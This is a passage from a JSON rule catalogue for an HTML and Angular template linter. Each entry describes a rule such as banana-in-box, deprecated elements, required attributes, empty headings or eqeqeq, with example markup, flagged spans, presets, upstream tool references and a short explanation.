      "description": "Reports a two-way binding written the wrong way round, `([ngModel])`. Only in `.component.html` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<input ([ngModel])=\"a\" [(ngModel)]=\"b\" />\n<p *ngIf=\"a == b && c !== d\">{{ a != b ? \"x == y\" : 1 }}</p>\n<p *ngIf=\"!(a$ | async)\"></p>\n<p [hidden]=\"(a$ | async) === false || x\"></p>\n<p *ngIf=\"!a$ | async\"></p>\n@if (a == 1) { <b></b> }\n@for (x of xs) { <i></i> }\n@for (x of xs; track x.id) { <i></i> }\n",
        "language": "angular",
        "other_lines": [
          2,
          3,
          4,
          6,
          7
        ],
        "spans": [
          {
            "column": 8,
            "length": 11,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "banana-in-box",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "banana-in-box",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/banana-in-box.md"
        }
      ],
      "why": "`([x])` is not a binding: Angular reads it as a property binding to a name that does not exist, and the template fails to compile or the binding does nothing.\n\nTo fix, write `[(ngModel)]`: the banana (round) goes in the box (square)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a class name that does not match the option `pattern`, a regex that by default means kebab-case (`foo-bar`). Each class of a `class` attribute is checked on its own.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"fooBar\" class=\"ok fooBar x_y\"></p>\n<p id=\"foo-bar\"></p>\n<p id=\"1a\"></p>\n<input name=\"fooBar\">\n<input name=\"foo_bar\">\n<input name=\"foo[]\">\n<p fooBar=\"x\" data-X=\"y\" a_b=\"c\"></p>\n",
        "language": "html",
        "other_lines": [
          5,
          7,
          9
        ],
        "spans": [
          {
            "column": 26,
            "length": 6,
            "line": 3
          },
          {
            "column": 33,
            "length": 3,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "class-pattern",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": "^[a-z][a-z0-9]*(-[a-z0-9]+)*$",
          "description": "The regex the value must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "class-pattern",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/class-pattern.html"
        }
      ],
      "why": "Class names are looked up by name in stylesheets and scripts; one naming style makes them predictable to write and to search for. A class in another style is often a typo that no stylesheet ever matches.\n\nTo fix, rename the class here and in the stylesheet, or change the pattern."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element with a click handler (`(click)`, `@click`) and no `keydown`, `keyup` or `keypress` handler. Elements that a keyboard operates by themselves (links with `href`, buttons, form controls, `<summary>`, `<option>` and cells) and elements hidden from assistive technology or marked presentational are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          4,
          10,
          12,
          14,
          15,
          17,
          19,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 1
          },
          {
            "column": 1,
            "length": 17,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "click-events-have-key-events",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "click-events-have-key-events",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/click-events-have-key-events.md"
        }
      ],
      "why": "A click handler on a `<div>` or `<span>` works with a mouse only: the element takes no focus and a key press does not fire `click`. Keyboard and switch users cannot reach the action. Use a `<button>`, or add a key handler and a `tabindex`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an element that HTML5 no longer has (`<center>`, `<font>`, `<marquee>`, ...).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          7,
          8,
          10,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 2,
            "length": 6,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "deprecated",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/htmlhint",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-obsolete-tags",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-obsolete-tags"
        },
        {
          "id": "deprecated",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/deprecated.html"
        },
        {
          "id": "tag-no-obsolete",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/tag-no-obsolete.mdx"
        }
      ],
      "why": "A removed element can be dropped by browsers at any time, and it mixes presentation into the markup. Assistive technology and search engines may treat it differently than the author expects.\n\nTo fix, replace it with CSS and a current element (`<font>` and `<center>` with a class)."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a doctype that is not `<!DOCTYPE html>` (compared without regard to case), such as the HTML 4.01 public identifier.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\">\n<title>x</title>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 50,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "doctype-html",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "doctype-html",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/doctype-html.html"
        },
        {
          "id": "doctype-html5",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/doctype-html5.mdx"
        }
      ],
      "why": "A doctype other than `html` puts the browser in quirks or limited-quirks mode, which changes how boxes, tables and images are sized.\n\nTo fix, use `<!DOCTYPE html>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a doctype keyword that is not in uppercase (`<!doctype html>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!doctype html>\n<title>x</title>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "doctype-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "doctype-style",
          "note": "uppercase only, without the style option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/doctype-style.html"
        }
      ],
      "why": "The keyword is case-insensitive, so the browser does not care; uppercase is the form the specification and most documents use, and one form keeps the files alike.\n\nTo fix, write `<!DOCTYPE html>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an element name that is not in lowercase, on the name of a start or end tag (`<DIV>`). Everything inside `<svg>` and `<math>` keeps its case and is not reported, and so are `.vue`, `.svelte` and `*.component.html` files, where component names are capitalised.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          6,
          7,
          9,
          11
        ],
        "spans": [
          {
            "column": 2,
            "length": 1,
            "line": 5
          },
          {
            "column": 45,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "element-case",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "lowercase",
          "note": "the case of attribute names is `attr-case`",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/lowercase"
        },
        {
          "id": "element-case",
          "note": "lowercase only, without the style and ignoreForeign options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-case.html"
        },
        {
          "id": "tagname-lowercase",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/tagname-lowercase.mdx"
        }
      ],
      "why": "HTML reads element names without regard to case, so capitals only make the same element appear in two spellings. In component files a capital also tells a component from an element, so a mixed use hides which one it is.\n\nTo fix, write the name in lowercase."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element whose name is not a valid custom element name: a custom element is lowercase letters, digits, `-`, `.` and `_` and has a `-`. A plain HTML element is not reported, and everything inside `<svg>` and `<math>` is left alone, and so are `.vue`, `.svelte` and `*.component.html` files, where component names are normal.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          8,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 2,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "element-name",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "element-name",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-name.html"
        }
      ],
      "why": "The dash is what keeps a custom element from clashing with an element that HTML adds later. A name without it is either a typo of a real element or a name that a browser may take over.\n\nTo fix, rename the element with a dash (`x-card`), or correct the typo."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that its parent does not permit as content (`<li>` outside a list, `<div>` in a `<table>`, a deprecated element in flow content), and one that an ancestor forbids as a descendant (`<a>` in `<a>`, a block element in a `<button>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          8,
          9,
          13,
          14,
          18,
          19
        ],
        "spans": [
          {
            "column": 15,
            "length": 5,
            "line": 5
          },
          {
            "column": 16,
            "length": 12,
            "line": 6
          },
          {
            "column": 1,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "element-permitted-content",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "element-permitted-content",
          "note": "the content model of html-validate (data/model.txt); elements that no model row names are not judged",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-permitted-content.html"
        }
      ],
      "why": "The browser repairs invalid nesting on its own, and the repair moves or splits elements (a `<div>` in a `<table>` is moved out). The page then differs from the markup and from what scripts and styles select.\n\nTo fix, move the element to a parent that permits it, or use an element that fits."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that the parent permits at most once (`<head>`, `<body>`, `<title>`, `<caption>`) when it appears again. A `<script>` or `<style>` after `</body>` opens an implied `<head>`, and is reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          6,
          7,
          8,
          9,
          13,
          14,
          18,
          19
        ],
        "spans": [
          {
            "column": 23,
            "length": 7,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "element-permitted-occurrences",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "element-permitted-occurrences",
          "note": "the content model of html-validate (data/model.txt); elements that no model row names are not judged",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-permitted-occurrences.html"
        }
      ],
      "why": "The browser keeps the first one and merges or drops the others, so the second `<title>` has no effect and the content in a second `<body>` ends up somewhere else.\n\nTo fix, remove the repeated element, or merge its content into the first."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports children that are out of the order the parent requires (`<thead>` and `<tfoot>` before `<tbody>`, `<head>` before `<body>`, `<summary>` first in `<details>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          9,
          13,
          14,
          18,
          19
        ],
        "spans": [
          {
            "column": 23,
            "length": 7,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "element-permitted-order",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "element-permitted-order",
          "note": "the content model of html-validate (data/model.txt); elements that no model row names are not judged",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-permitted-order.html"
        }
      ],
      "why": "The browser either reorders them or treats the later one as stray content, so the page shows something other than the order written.\n\nTo fix, put the children in the required order."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that lacks an attribute it must have: `lang` on `<html>`, `src` on `<img>`, `title` on `<iframe>`, and the like.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          7,
          8,
          9,
          10,
          14,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 2,
            "length": 4,
            "line": 2
          },
          {
            "column": 2,
            "length": 3,
            "line": 11
          },
          {
            "column": 2,
            "length": 6,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "element-required-attributes",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/htmlhint",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "require-frame-title",
          "note": "reports `<embed>` as well as frames",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-frame-title"
        },
        {
          "id": "require-lang",
          "note": "also requires the attributes of other elements that html-validate requires (`src` of `<img>`)",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-lang"
        },
        {
          "id": "element-required-attributes",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-required-attributes.html"
        },
        {
          "id": "frame-title-require",
          "note": "reports `<iframe>` and `<embed>` as well as frames",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/frame-title-require.mdx"
        },
        {
          "id": "html-lang-require",
          "note": "also requires the attributes of other elements that html-validate requires (`src` of `<img>`)",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/html-lang-require.mdx"
        }
      ],
      "why": "Each of these attributes carries something the element cannot work without: the language for screen reader pronunciation and hyphenation, the file of an image, the name of a frame.\n\nTo fix, add the attribute."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an element that lacks a child it requires: `<title>` in `<head>`, `<summary>` in `<details>`, `<head>` and `<body>` in `<html>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title><title>y</title></head>\n<body>\n<ul><li>a</li><div></div></ul>\n<p><a href=\"x\"><a href=\"y\">z</a></a></p>\n<font>old</font>\n<table><tbody></tbody><thead></thead></table>\n<details><div></div></details>\n<a href=\"x\"><img alt=\"logo\" src=\"a\"></a>\n<a href=\"x\">text</a>\n<a href=\"x\" aria-label=\"n\"><i></i></a>\n<a href=\"x\"><i></i></a>\n<form><input name=\"q\"></form>\n<form><button>go</button></form>\n<form id=\"f\"></form><button form=\"f\">go</button>\n<table><tr><th>a</th><th>b</th></tr><tr><td>1</td><td>2</td></tr></table>\n<table><tr><th></th><th scope=\"col\">b</th></tr><tr><th>c</th><td>2</td></tr></table>\n<div aria-hidden=\"true\"><button>x</button></div>\n<div aria-hidden=\"true\"><button tabindex=\"-1\">x</button></div>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          6,
          7,
          8,
          13,
          14,
          18,
          19
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "element-required-content",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard",
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "require-title",
          "note": "also requires the other children it lists (`<summary>` in `<details>`)",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-title"
        },
        {
          "id": "element-required-content",
          "note": "the content model of html-validate (data/model.txt); elements that no model row names are not judged",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/element-required-content.html"
        }
      ],
      "why": "A page with no `<title>` has no name in tabs, history and search results, and a `<details>` with no `<summary>` shows a label the browser invents.\n\nTo fix, add the missing child."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a link, button or heading with nothing in it and no `aria-label`, `title` or binding to `innerHTML`, `innerText`, `outerHTML` or `textContent`. Text, an interpolation, a block or an element inside counts as content, whatever the element is.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          6,
          10,
          12,
          17,
          19,
          20,
          21,
          22,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 4
          },
          {
            "column": 12,
            "length": 3,
            "line": 14
          },
          {
            "column": 1,
            "length": 4,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "empty-content",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "elements-content",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/elements-content.md"
        }
      ],
      "why": "A link, button or heading with no accessible name is announced as just \"link\", \"button\" or \"heading\", so a screen reader user cannot tell what it does or where it leads, and a heading adds an empty entry to the outline of the page."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a heading (`<h1>` to `<h6>`) with no text. White space is not text. An image with an `alt` or an `<svg>` inside counts as content.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          10,
          12,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "empty-heading",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-empty-headings",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-empty-headings"
        },
        {
          "id": "empty-heading",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/empty-heading.html"
        }
      ],
      "why": "Screen reader users move through a page by its headings, and an empty one is announced as a heading with nothing in it. It is usually a leftover or a heading whose text comes from a script that did not run.\n\nTo fix, put text in the heading, or remove it."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `<title>` with no text. White space is not text.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          6,
          7,
          10,
          12,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "empty-title",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "empty-title",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/empty-title.html"
        }
      ],
      "why": "The title names the page in the browser tab, history, bookmarks and search results, and is the first thing a screen reader reads.\n\nTo fix, write a title that tells this page from the others of the site."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `==` and `!=` in the bindings, interpolations and block parameters of an Angular template. Only in `.component.html` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<input ([ngModel])=\"a\" [(ngModel)]=\"b\" />\n<p *ngIf=\"a == b && c !== d\">{{ a != b ? \"x == y\" : 1 }}</p>\n<p *ngIf=\"!(a$ | async)\"></p>\n<p [hidden]=\"(a$ | async) === false || x\"></p>\n<p *ngIf=\"!a$ | async\"></p>\n@if (a == 1) { <b></b> }\n@for (x of xs) { <i></i> }\n@for (x of xs; track x.id) { <i></i> }\n",
        "language": "angular",
        "other_lines": [
          1,
          3,
          4,
          7
        ],
        "spans": [
          {
            "column": 13,
            "length": 2,
            "line": 2
          },
          {
            "column": 35,
            "length": 2,
            "line": 2
          },
          {
            "column": 8,
            "length": 2,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "eqeqeq",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "eqeqeq",
          "note": "`allowNullOrUndefined` is not an option",
          "partial": true,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/eqeqeq.md"
        }
      ],
